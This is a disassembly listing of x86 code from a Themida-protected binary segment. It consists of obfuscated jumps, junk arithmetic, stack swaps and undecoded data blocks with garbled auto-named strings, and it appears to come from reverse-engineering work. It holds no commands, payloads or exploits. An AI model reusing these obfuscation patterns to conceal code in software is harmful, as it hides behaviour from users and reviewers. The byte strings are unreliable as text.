mov edx, [esp]
add esp, 4
jmp loc_55C339
; ---------------------------------------------------------------------------
byte_553D37 db 8Bh ; DATA XREF: Themida_:00550718o
dd 70E92424h
db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553D3F: ; CODE XREF: Themida_:0055AD87j
sub esp, 4
mov [esp], ebx
mov bx, 64EFh
push esi
mov si, 579Fh
jmp loc_5593E1
; ---------------------------------------------------------------------------
aQtso db 'QTИ╝&',0
align 2
dw 0C681h
dd 65C33D58h, 4605E6C1h, 0AD35E9h, 0BB535C00h, 4, 34FFDE01h
dd 0C4835B24h, 2C68304h, 31243433h, 34332434h, 24248B24h
dd 7016E9h
db 0
; ---------------------------------------------------------------------------
loc_553D8D: ; CODE XREF: Themida_:0055515Cj
push esi
mov esi, 75E94059h
mov eax, esi
pop esi
sub esp, 4
mov [esp], edx
jmp loc_5521BE
; ---------------------------------------------------------------------------
aSX_0 db '[ИрЕ',0
align 2
dw 0EFC1h
dd 8EFC108h, 0A3F7814Fh, 0E900006Eh, 0F9A0h, 0E6DDE951h
dd 8705FFFFh, 13E8D0Bh, 0EDBB53C8h, 0F774C332h, 0A075E9D3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553DD6: ; CODE XREF: Themida_:0055FEA3j
pop eax
push edx
mov edx, 1C64E75h
push edi
mov edi, 2C1748C8h
xor edi, 0D79AA1ACh
sub edx, edi
pop edi
add ebx, edx
jmp loc_55DC20
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 5FE95000h, 2D0000FDh, 2743234Eh, 0F5DB951h, 0C1814297h
dd 30A21EE6h, 7F56C181h, 0E18164A3h, 458605CAh, 6473C981h
dd 0D9F73683h, 0F3C0F181h, 0C8018DC0h, 4EC8359h, 0BF243C89h
dd 3E31100Dh, 4A26BB53h, 0DBF7508Dh, 5EE668h, 0BD2FE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553E4A: ; CODE XREF: Themida_:0055A4B6j
xor ebx, 150346Fh
xor esi, ebx
jmp loc_5520F4
; ---------------------------------------------------------------------------
db 5Fh
dd 1BFA68h, 414E900h
db 1, 0
; ---------------------------------------------------------------------------
loc_553E62: ; CODE XREF: Themida_:00561E62j
pop esp
pop dword ptr [esp]
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
word_553E72 dw 0E9ADh ; DATA XREF: Themida_:00550940o
dd 0FFFFD798h, 82E9F089h
db 0B2h, 2 dup(0)
byte_553E7F db 66h ; DATA XREF: Themida_:005508B4o
dd 68240C8Bh, 24CFh, 54242C89h, 81242C8Bh, 4C4h, 4C58100h
dd 0E9000000h, 0E712h
; ---------------------------------------------------------------------------
loc_553EA0: ; CODE XREF: Themida_:0055118Ej
push ebx
jmp loc_557746
; ---------------------------------------------------------------------------
aLSB db '▀$$И',1Bh,'b',0
align 2
dw 0EB81h
dd 30F262A7h, 0FFF0C5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553EB9: ; CODE XREF: Themida_:00554B5Aj
xchg esi, [esp]
pop esp
mov ebp, ecx
pop ecx
jmp loc_55AF42
; ---------------------------------------------------------------------------
byte_553EC5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005508E8o
dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 81242C89h
dd 4ECh, 241C8900h, 7DE9E389h, 8100006Bh, 4C3h, 4EB8100h
dd 53000000h, 42474FFh, 24048F5Bh, 29A8E9h
db 0
; ---------------------------------------------------------------------------
loc_553F09: ; CODE XREF: Themida_:00551B6Bj
mov ebx, 195B6887h
sub ebx, 3DFE1189h
sub ebx, 747F08DFh
add ebx, 7F123422h
sub ebx, 0D7A00807h
sub edx, ebx
mov ebx, [esp]
jmp loc_55C68D
; ---------------------------------------------------------------------------
loc_553F30: ; CODE XREF: Themida_:00559D0Ej
pop edx
jmp loc_55F52D
; ---------------------------------------------------------------------------
loc_553F36: ; CODE XREF: Themida_:00550F1Cj
xchg ebp, [esp]
pop esp
push edi
push esp
push dword ptr [esp]
pop edi
jmp loc_550EC3
; ---------------------------------------------------------------------------
loc_553F45: ; CODE XREF: Themida_:0055F369j
push 858h
mov [esp], ebx
push 5C5Bh
mov [esp], ecx
mov ecx, 9E36046h
push 2C59h
mov [esp], ecx
xor dword ptr [esp], 13892CA3h
mov ebx, [esp]
add esp, 4
jmp loc_552700
; ---------------------------------------------------------------------------
dd 0E904C483h, 111C4h
; ---------------------------------------------------------------------------
loc_553F7C: ; CODE XREF: Themida_:0055453Dj
mov ecx, edi
pop edi
push 3A02h
mov [esp], ecx
pop ebx
mov ecx, [esp]
push eax
push esp
jmp loc_5653CB
; ---------------------------------------------------------------------------
a1uHca db ']1Н]h≈a',0
dw 8900h
a4S4nrSC db '4$S╩4Nr=И',0Ah
db 'C',0
dd 5BD82900h, 89C18951h, 34FF59CDh, 0C4815824h, 4, 0DD73E953h
dd 44810000h, 63540424h, 86E97BB8h, 80000079h, 0D12841F2h
dd 66C9FE5Ah, 0CE885250h, 87AAE9h
db 0
; ---------------------------------------------------------------------------
loc_553FE1: ; CODE XREF: Themida_:00554037j
add esp, 4
mov ebx, [esp]
push eax
jmp loc_550B5F
; ---------------------------------------------------------------------------
db 81h, 0C5h, 4
dd 0E9000000h, 0FCD2h, 0CB8843B1h, 0E420E959h, 0C781FFFFh
dd 4, 3AF6E9h
db 0
; ---------------------------------------------------------------------------
loc_55400D: ; CODE XREF: Themida_:0055B08Fj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_55A50A
; ---------------------------------------------------------------------------
a3414Smq db '34$14$ИMQ',0
align 4
loc_55402C: ; CODE XREF: Themida_:00559E58j
sub dword ptr [esp+4], 5354559Dh
mov eax, [esp]
jmp loc_553FE1
; ---------------------------------------------------------------------------
dd 79BBB850h, 0C2D3029h, 31131F64h, 0E38158C3h, 2E54208Fh
dd 274BCB81h, 0F3813878h, 4C424A86h, 502CEB81h, 0EB81048Ch
dd 63407952h, 27D5EB81h, 0F3817705h, 976C7BF8h, 0E95BDA89h
dd 748Bh, 0E95BDF89h, 33E2h, 4C481h, 5B040000h, 0EC81C828h
dd 4, 0B1240C89h, 8E1C0DFh, 0FE82C180h, 0D1E980C1h, 8007E9C0h
dd 0C828A6E9h, 0FCF0E9h
db 0
; ---------------------------------------------------------------------------
loc_5540B1: ; CODE XREF: Themida_:005586ADj
add edx, 245261ECh
xor ebx, edx
jmp loc_56035A
; ---------------------------------------------------------------------------
dw 815Ah
dd 0EA705EC2h, 0C681587Eh, 67990B83h, 57ABEE81h, 0C6812676h
dd 75510F77h, 34E9D629h, 0F6FFFFF6h, 5E3C0D3h, 9335E9h
dd 8BEF2900h, 0C483242Ch, 2434FF04h, 8324048Bh, 0C48104C4h
dd 4, 381AC781h, 0F831BBA8h, 0BF57555Fh, 3E18DDD3h, 6F39E9h
dd 148B6600h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55CC07
; ---------------------------------------------------------------------------
loc_554127: ; CODE XREF: Themida_:005527FAj
push esi
push 2B15D57h
pop esi
not esi
jmp loc_56045E
; ---------------------------------------------------------------------------
loc_554135: ; CODE XREF: Themida_:0055D74Dj
mov ecx, 4
mov edx, ecx
pop ecx
mov eax, edx
pop edx
sub ebp, eax
mov eax, [esp]
jmp loc_55C93B
; ---------------------------------------------------------------------------
loc_55414A: ; CODE XREF: Themida_:0055CFC0j
xchg edi, [esp]
mov esp, [esp]
jmp loc_560A4B
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 86E9241Ch, 80000071h, 0CF2885EFh, 5185C780h
dd 0EF8012B1h, 0E9CF0058h, 0F7FBh, 0EC83535Bh, 243C8904h
dd 0E2D1E9h, 5E545600h, 4C681h, 0EE830000h, 24343304h
dd 33243431h, 78E92434h, 500000A0h, 783997B8h, 0F883E97Dh
dd 433FFFFh, 24043124h, 8B240433h, 46E92424h
db 8Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5541BB: ; CODE XREF: Themida_:00555720j
pop esi
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_5509AF
; ---------------------------------------------------------------------------
dw 0EA81h
dd 6B163867h, 5E70B951h, 0CA2964BEh, 83240C8Bh, 0BB5304C4h
dd 604A7C12h, 0F2E94343h, 2DFFFFEDh, 70A44C8Dh, 8D05D829h
dd 0E970A44Ch, 0FFFFFBFFh
; ---------------------------------------------------------------------------
loc_554200: ; CODE XREF: Themida_:0055427Fj
add dword ptr [esp], 4
jmp loc_561FC9
; ---------------------------------------------------------------------------
loc_55420C: ; CODE XREF: Themida_:0056228Fj
mov [esp], esi
jmp loc_554965
; ---------------------------------------------------------------------------
loc_554214: ; CODE XREF: Themida_:00562B22j
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
push 6139h
mov [esp], edx
jmp loc_554BEA
; ---------------------------------------------------------------------------
loc_55422D: ; CODE XREF: Themida_:0055C8B8j
mov ebx, [esp]
add esp, 4
jmp loc_55D98E
; ---------------------------------------------------------------------------
aANsz db '─ф╜Иz`',0
align 10h
dd 815EF221h, 0D43120C2h, 3EAC144h, 8904EC83h, 87B82404h
dd 810422F9h, 0C204EEAh, 81C2295Ch, 0C204EC2h, 0D029585Ch
dd 0E924148Bh, 529Bh
; ---------------------------------------------------------------------------
loc_554270: ; CODE XREF: Themida_:0055C443j
mov ebp, esp
push 3FABh
jmp loc_55C31F
; ---------------------------------------------------------------------------
loc_55427C: ; CODE XREF: Themida_:00557128j
mov [esp], esp
jmp loc_554200
; ---------------------------------------------------------------------------
dd 0C1DDF758h, 505208EDh, 0DF19EAB8h, 0E616BA4Eh, 0C201B120h
dd 7CC28158h, 81035D7Fh, 923A50EAh, 81EA2913h, 923A50C2h
dd 7CEA8113h, 0E9035D7Fh, 0D8D3h, 0ED81D5F7h, 38CC753Dh
dd 64D7ED81h, 0EE90AFDh, 890000F9h, 10E2E9E1h, 81590001h
dd 4C1h, 4C18300h, 8B240C87h, 0C4832424h, 875E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5542EA: ; CODE XREF: Themida_:005558EBj
pop esi
mov ecx, [esp]
sub esp, 4
jmp loc_557530
; ---------------------------------------------------------------------------
aS9 db '\И9╫',0
dw 8100h
dd 414D242Ch, 815E2868h, 68414DC6h, 0B9515A28h, 808132Eh
dd 0E959C829h, 10966h, 24048F5Ah, 241C8B5Ch, 0FFD986E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554329: ; CODE XREF: Themida_:00557372j
pop dword ptr [esp]
jmp loc_55F360
; ---------------------------------------------------------------------------
loc_554331: ; CODE XREF: Themida_:00563088j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_55A211
; ---------------------------------------------------------------------------
dw 205h
dd 33000000h, 3AE92404h, 0B0000061h, 28EB80C9h, 0C380C328h
dd 48B6628h, 2C48324h, 0E9F3EB80h, 0E4F4h, 33BCE381h, 0EB815400h
dd 3ADF0FB8h, 0EBC1D3F7h, 4EBC104h, 9CE0E9h, 5AD00000h
dd 635CE9h, 2434FF00h, 592434FFh, 0E3F7E953h, 0C301FFFFh
dd 0A7DDE958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55439E: ; CODE XREF: Themida_:005564DBj
push esp
mov esi, [esp]
push ecx
mov ecx, esp
jmp loc_5604D1
; ---------------------------------------------------------------------------
loc_5543AA: ; CODE XREF: Themida_:005635F0j
mov edi, 3B9F7019h
add edi, 0C982A86h
sub esp, 4
mov [esp], ecx
mov ecx, 0DBAA7860h
sub edi, ecx
mov ecx, [esp]
add esp, 4
add edx, edi
mov edi, [esp]
add esp, 4
and edx, 325C571Ch
push ebx
jmp loc_5653EA
; ---------------------------------------------------------------------------
loc_5543E2: ; CODE XREF: Themida_:00563AB0j
mov ebx, 434D2BB6h
push esi
mov esi, 0
sub esi, ebx
jmp loc_5623F7
; ---------------------------------------------------------------------------
dd 0D0371268h, 0C1815972h, 8D2FC8F2h, 2D59CE89h, 3B8552DDh
dd 80D4E9h, 4EA8300h, 8B241487h, 34892424h, 0AFBE24h, 0CE811F96h
dd 512E2F8Ch, 8105E6C1h, 4ECh, 243C8900h, 5E5CD7BFh, 8BFE2105h
dd 0C481243Ch, 4, 3CD1BD55h, 0BEE95516h
db 8, 1, 0
; ---------------------------------------------------------------------------
loc_55444B: ; CODE XREF: Themida_:00559F72j
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push ecx
jmp loc_5561AC
; ---------------------------------------------------------------------------
loc_554466: ; CODE XREF: Themida_:00559084j
mov [esp], esi
push dword ptr [esp+4]
jmp loc_556B3C
; ---------------------------------------------------------------------------
loc_554472: ; CODE XREF: Themida_:0055A0C4j
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_56337E
; ---------------------------------------------------------------------------
dd 74FF515Ah, 68E90424h
db 1Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55448F: ; CODE XREF: Themida_:00550B61j
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_56355A
; ---------------------------------------------------------------------------
loc_5544A1: ; CODE XREF: Themida_:00552E03j
sub ebp, 0C809A1ABh
xor ebx, ebp
pop ebp
sub ebx, 0A1E45E71h
jmp loc_56030B
; ---------------------------------------------------------------------------
aRsK db 'RИ╧k',0
dw 2900h
dd 34FF240Ch, 0C4815924h, 4, 2C7BE981h, 0BA523FF1h, 29EB14E2h
dd 0E0E9D121h
db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5544DB: ; CODE XREF: Themida_:005653A8j
pop edx
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov [esp], esp
jmp loc_560E21
; ---------------------------------------------------------------------------
db 89h
dd 0D8B9240Ch, 554A2B25h, 0A620B2BDh, 8FC58158h, 57062640h
dd 0FE45C7BFh, 92EE934h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554512: ; CODE XREF: Themida_:0056325Bj
mov ecx, [esp]
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
sub edi, 5E816E1Bh
jmp loc_561096
; ---------------------------------------------------------------------------
loc_554537: ; CODE XREF: Themida_:0055AA42j
sub edi, 7427B3Eh
jmp loc_553F7C
; ---------------------------------------------------------------------------
aRqs db 'RQИвй',0
dd 8BEB2900h, 0C481242Ch, 4, 1563E9h, 4FE98100h, 177C16Bh
dd 4FC181E9h, 6877C16Bh, 66F5h, 0BD242C89h, 68A30442h
dd 4955ED81h, 0ED8131EAh, 527D479Eh, 8CF4E9h, 2434FF00h
dd 4C4815Eh, 29000000h, 0BEB81C3h, 666F1777h, 10E930FFh
dd 58FFFFC4h, 0B4D1E9h, 5FF80100h, 8758C701h, 248B243Ch
dd 0B60F6624h, 1DE96800h, 0C2E90000h, 830000DFh, 0FF5104E9h
dd 0E9042474h, 75B7h, 4268E9F7h, 8900006Fh, 8B54243Ch
dd 0C481243Ch, 4, 4BB5352h, 89000000h, 1DE95BDAh, 5EFFFFE1h
dd 34FFEA89h, 0CCEBE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5545FA: ; CODE XREF: Themida_:00555A70j
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_55F177
; ---------------------------------------------------------------------------
loc_554614: ; CODE XREF: Themida_:005640E2j
add ecx, eax
mov eax, [esp]
add esp, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_557538
; ---------------------------------------------------------------------------
aXstb db 'XИt║',0
align 10h
dword_554630 dd 24048B66h, 27D2E951h, 0E3860000h, 84CB050h, 2CF4E9C3h
; DATA XREF: Themida_:00550904o
dd 0E95A0000h, 679Ah, 7A91E95Dh, 0C4830000h, 8BF22904h
dd 0C4832434h, 0FEF28104h, 81420A7Dh, 0F1494BF2h, 0E9D001C1h
dd 0ED56h, 0BA241489h, 4, 7E75ED81h, 0CEE95825h, 58000098h
dd 0FFEC92E9h, 4BDFFh, 0E9010000h, 0F00BE9h
db 0
; ---------------------------------------------------------------------------
loc_554695: ; CODE XREF: Themida_:005532B2j
mov eax, 6A0D5778h
dec eax
push ebx
mov ebx, 9510616h
add ebx, 1
or ebx, 17DE613Ch
inc ebx
jmp loc_561F57
; ---------------------------------------------------------------------------
dd 468F1F7h, 89000033h, 9C502414h, 0FFC2EEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5546C1: ; CODE XREF: Themida_:0055F8B4j
mov ebp, 4
add edx, ebp
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
jmp loc_56374F
; ---------------------------------------------------------------------------
dd 4EC81h, 0FDE90000h, 8F00002Fh, 895C2404h, 0E0892404h
dd 405h, 22D00h, 0CCE90000h, 8900001Dh, 4C681E6h, 0E9000000h
dd 0D040h, 8904EC83h, 0A4E92434h, 830000D0h, 0C68304C4h
dd 74FF5602h, 8F5E0424h, 248B2404h, 1F59E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55472A: ; CODE XREF: Themida_:00562FBEj
sub eax, 443B2CCAh
add eax, esi
add eax, 443B2CCAh
pop esi
xor eax, 4A1E5608h
jmp loc_55298D
; ---------------------------------------------------------------------------
db 29h, 0F7h, 0FFh
dd 348B2434h, 4C48124h, 81000000h, 4ECh, 7D97E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55475A: ; CODE XREF: Themida_:005603E8j
pop eax
jmp loc_550BD7
; ---------------------------------------------------------------------------
dd 525FF801h, 6010E9h
db 0
; ---------------------------------------------------------------------------
loc_554769: ; CODE XREF: Themida_:0055760Aj
jmp loc_5509AF
; ---------------------------------------------------------------------------
dw 0B151h
dd 30B20Ch, 0EA86E9CAh, 48F0000h, 8F545C24h, 4832404h
dd 0E9590424h, 3A8Ch
dword_55478C dd 8B2434FFh, 0E9522404h, 0B56Ch ; DATA XREF: Themida_:005507D8o
; ---------------------------------------------------------------------------
loc_554798: ; CODE XREF: Themida_:0056020Ej
push 1A6367A6h
pop eax
jmp loc_565742
; ---------------------------------------------------------------------------
loc_5547A3: ; CODE XREF: Themida_:00559696j
push ebp
jmp loc_563665
; ---------------------------------------------------------------------------
loc_5547A9: ; CODE XREF: Themida_:0055B0F8j
push dword ptr [esp+4]
jmp loc_561B7D
; ---------------------------------------------------------------------------
aSiuvsm? db 'S┴ЦVИm?',0
dw 8900h
dd 5E5F5AD0h, 13A7522Dh, 58C6318Eh, 5FE9F031h, 8B00001Dh
dd 0C483240Ch, 0DFE95604h, 0FF000018h, 59042474h, 0F605E9h
db 0
; ---------------------------------------------------------------------------
loc_5547E5: ; CODE XREF: Themida_:0055B927j
pop dword ptr [esp]
mov esp, [esp]
loc_5547EB: ; CODE XREF: Themida_:00565152j
push 21F8h
mov [esp], esi
mov esi, esp
push edi
mov edi, 47B15CCEh
sub edi, 47B15CCAh
add esi, edi
pop edi
sub esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_559FC2
; ---------------------------------------------------------------------------
db 0C1h, 0EFh, 2
dd 240CFF57h, 0FD5DE9h, 24048F00h, 0F624248Bh, 0B60F66E9h
dd 314968CCh, 14890000h, 51E28924h, 4B9h, 0B2A2E900h
db 2 dup(0)
word_554842 dw 8B66h ; DATA XREF: Themida_:0055072Co
dd 5457240Ch, 0EAE8E95Fh, 0BF57FFFFh, 4, 34FFF901h, 54565F24h
dd 0FFD36EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554861: ; CODE XREF: Themida_:00555A2Fj
sub ecx, edi
push eax
push edi
push esi
push 1F804F87h
pop esi
shl esi, 2
or esi, 70144C29h
sub esi, 41666FF2h
mov edi, esi
pop esi
push ecx
jmp loc_560277
; ---------------------------------------------------------------------------
dd 1B28BB53h, 0DA8928FFh, 6EAC15Bh, 1516E281h, 0C14A7B20h
dd 0C28107EAh, 40D5CD75h, 815AD501h, 0A8022BEDh, 8BEF21C8h
dd 0C483242Ch, 2708E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5548B6: ; CODE XREF: Themida_:00552EE9j
xor eax, esi
mov esi, [esp]
add esp, 4
add edi, eax
pop eax
push ebp
mov ebp, 6A764909h
neg ebp
dec ebp
xor ebp, 9589B6F2h
add edi, ebp
jmp loc_55B0F1
; ---------------------------------------------------------------------------
dw 0E281h
dd 19FD48ECh, 2605CA81h, 0EA8166AFh, 43E95E74h, 10735E9h
dd 2434FF00h, 81242C8Bh, 4C4h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_556D6F
; ---------------------------------------------------------------------------
loc_554905: ; CODE XREF: Themida_:0055A832j
xchg ebp, [esp]
mov esp, [esp]
mul cl
jmp loc_55B94C
; ---------------------------------------------------------------------------
loc_554912: ; CODE XREF: Themida_:00560B50j
pop ecx
push eax
jmp loc_55C48F
; ---------------------------------------------------------------------------
db 0BAh, 18h, 1
dd 0EA8139AFh, 1A325196h, 590BE281h, 0E2C10448h, 81D2F702h
dd 0EA6034EAh, 5AD30192h, 7993EB81h, 0C329421Fh, 7993C381h
dd 0C6E9421Fh, 81FFFFD9h, 4C4h, 0ADB85000h, 29D5C1EDh
dd 0EB8158C6h, 2B9C0D9Dh, 47E9E9h
db 0
; ---------------------------------------------------------------------------
loc_554965: ; CODE XREF: Themida_:0055420Fj
mov esi, esp
add esi, 4
jmp loc_55169D
; ---------------------------------------------------------------------------
loc_554972: ; CODE XREF: Themida_:005588BBj
push 6967h
mov [esp], ecx
mov ecx, 1A183252h
sub [esp+8], ecx
pop ecx
mov edx, [esp]
add esp, 4
mov ecx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
pop eax
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
sub ecx, 2BAC4BDEh
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 3E461EB5h
inc edi
add edi, 676E1282h
push 26B9h
mov [esp], eax
sub esp, 4
mov [esp], esi
push 462D25E7h
jmp loc_56353C
; ---------------------------------------------------------------------------
loc_5549E4: ; CODE XREF: Themida_:0055678Cj
add ebp, esi
add ebp, 22F12BADh
pop esi
push ecx
push edi
push 1A471F59h
pop edi
shl edi, 6
xor edi, 5D432845h
dec edi
jmp loc_55AF97
; ---------------------------------------------------------------------------
loc_554A04: ; CODE XREF: Themida_:0055562Cj
mov ebx, [esp]
add esp, 4
jmp loc_5516CF
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 5C241487h, 517AEE81h, 0CE817DC8h, 65DE0C56h, 8060E9h
db 0
; ---------------------------------------------------------------------------
loc_554A2D: ; CODE XREF: Themida_:0055CDB7j
add edi, 7803E9B2h
sub edx, edi
jmp loc_55B6B3
; ---------------------------------------------------------------------------
loc_554A3A: ; CODE XREF: Themida_:0055B0B7j
push 66CDh
mov [esp], ebx
push esp
pop ebx
add ebx, 4
jmp loc_557666
; ---------------------------------------------------------------------------
loc_554A4F: ; CODE XREF: Themida_:0055206Bj
add dword ptr [esp], 4
pop ecx
push ebp
mov ebp, 4AB7667Eh
and ebp, 2B7F3118h
and ebp, 6DD07EE8h
push esi
mov esi, 35D62CFh
and ebp, esi
pop esi
push edx
jmp loc_55E598
; ---------------------------------------------------------------------------
db 5Dh, 0C1h, 0E0h
dd 0B630506h, 0FF055E00h, 5FFFFFFh, 0AB16EFC8h, 8158C301h
dd 4F709CC3h, 81C32968h, 4F709CEBh, 4EC8168h, 89000000h
dd 0A4B82404h, 354AD318h, 1FDD1362h, 71FCBD55h, 0E5C16B5Ah
dd 7EDC106h, 6889E581h, 0C58145F5h, 34946780h, 0B9D1C581h
dd 0E82902A4h, 48B4E9h
db 0
; ---------------------------------------------------------------------------
loc_554AD1: ; CODE XREF: Themida_:005659DAj
mov [esp], esi
push edi
jmp loc_55350D
; ---------------------------------------------------------------------------
dw 9BB0h
dd 535AD000h, 0F830A9B7h, 95E9E9h
db 0
; ---------------------------------------------------------------------------
loc_554AE9: ; CODE XREF: Themida_:005559D9j
add ebp, edi
pop edi
push esi
push 67E8h
mov [esp], ebp
jmp loc_561E9E
; ---------------------------------------------------------------------------
loc_554AFA: ; CODE XREF: Themida_:005636B8j
add edi, 1
not edi
push 0D78h
mov [esp], eax
jmp loc_55D47C
; ---------------------------------------------------------------------------
aUsqi db 'UИ÷┬',0
align 2
dw 0C683h
dd 92BA52FFh, 5126A977h, 9B3935B9h, 21C9810Ah, 494D680Fh
dd 7701E9h
db 0
; ---------------------------------------------------------------------------
loc_554B2D: ; CODE XREF: Themida_:00557515j
mov edx, 0C5417E0h
xor ebp, edx
pop edx
not ebp
jmp loc_564F29
; ---------------------------------------------------------------------------
dd 68585450h, 13BFh, 0BE243489h, 19862FDFh, 0FFF209E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554B51: ; CODE XREF: Themida_:0055E7F2j
add esi, 4
add esi, 4
jmp loc_553EB9
; ---------------------------------------------------------------------------
aSsU db 'SИйu',0
dd 90BE6600h, 0F3016666h, 81665E66h, 0E90BF9EBh, 5874h
dd 83242C8Bh, 24E904C4h, 0BD000020h, 4, 9901E9h, 2EEC000h
dd 0DEACE9h, 1AEE8100h, 14DA729h, 0D6CBE9EEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554BA2: ; CODE XREF: Themida_:00562FB0j
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], ebx
push 4
pop ebx
add ecx, 4A1943D6h
sub ecx, ebx
sub ecx, 4A1943D6h
pop ebx
jmp loc_562F48
; ---------------------------------------------------------------------------
loc_554BD0: ; CODE XREF: Themida_:00557D9Fj
xchg ebx, edi
sub ebx, 0FFFFFFFFh
xchg ebx, edi
jmp loc_55AA3C
; ---------------------------------------------------------------------------
db 81h
dd 0D81AD1EAh, 0AD3E90Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554BEA: ; CODE XREF: Themida_:00554228j
mov dl, 0CBh
mov ch, dl
pop edx
add bl, 30h
sub bl, 91h
add bl, ch
add bl, 91h
push small 63E3h
jmp loc_565944
; ---------------------------------------------------------------------------
db 50h
dd 7674BF57h, 0D7F77508h, 8102EFC1h, 952B66EFh, 9FE94F31h
db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554C1B: ; CODE XREF: Themida_:0055C5C2j
shr edi, 3
xor edi, 15DA50D5h
shr edi, 2
dec edi
push ecx
mov ecx, 0AA22B7F3h
sub edi, ecx
pop ecx
add ebx, edi
mov edi, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
sub ebx, 0FFFFFFFFh
shl ebx, 8
sub ebx, 9A8C9500h
and eax, ebx
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_55D561
; ---------------------------------------------------------------------------
dd 0E95FF889h, 99B0h, 0E924148Bh, 495Ah
; ---------------------------------------------------------------------------
loc_554C78: ; CODE XREF: Themida_:00561FBEj
pop edi
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5563AF
; ---------------------------------------------------------------------------
dd 54240489h, 3E36E958h, 75B90000h, 158257Eh, 815A59CDh
dd 4C5h, 8DDFE900h, 4290000h, 0BA525724h, 2C6046A1h, 911607BFh
dd 5AD701E6h, 4247C01h, 0FF41E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554CC2: ; CODE XREF: Themida_:0055A951j
mov ebx, edi
pop edi
add edx, ebx
mov ebx, [esp]
add esp, 4
sub esp, 4
jmp loc_55CB41
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0F8ACh
; ---------------------------------------------------------------------------
loc_554CE0: ; CODE XREF: Themida_:00565934j
pop esp
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_55869A
; ---------------------------------------------------------------------------
loc_554CF0: ; CODE XREF: Themida_:0055D477j
add esi, ecx
jmp loc_555A6C
; ---------------------------------------------------------------------------
loc_554CF7: ; CODE XREF: Themida_:00565A67j
push esi
mov esi, 7A8C294Dh
shr esi, 5
push eax
mov eax, 9BE0F4Dh
not eax
add eax, 7FD41591h
jmp loc_5564F6
; ---------------------------------------------------------------------------
dw 0DFF7h
dd 38A5BB53h, 0F38110CDh, 33BF00B2h, 3793F381h, 0DF01329Dh
dd 53241C8Bh, 0C381E389h, 4, 0E904C383h, 58DEh
; ---------------------------------------------------------------------------
loc_554D3C: ; CODE XREF: Themida_:00562F1Cj
push esp
pop ebx
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_56358D
; ---------------------------------------------------------------------------
byte_554D55 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005508A8o
dd 8B2434FFh, 0C481240Ch, 4, 0E95A5452h, 0FFFFDA75h, 0A025D4BBh
dd 7EBC156h, 2414F753h, 0B8EB815Bh, 51767004h, 0FE6DADB9h
dd 0E9CB2914h, 6D4Ah, 0FED3E380h, 810FE9CBh, 34FF0000h
dd 0AD82E924h, 34FF0000h, 2434FF24h, 0F13AE9h
db 0
; ---------------------------------------------------------------------------
loc_554DA9: ; CODE XREF: Themida_:00561F3Cj
mov edx, esp
add edx, 4
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
jmp loc_560FDC
; ---------------------------------------------------------------------------
dd 79C568h, 24248900h, 4BE56h, 74010000h, 8F5E0424h, 4832404h
dd 685D0424h, 6EB7h, 68241489h, 4, 0FD31E9h
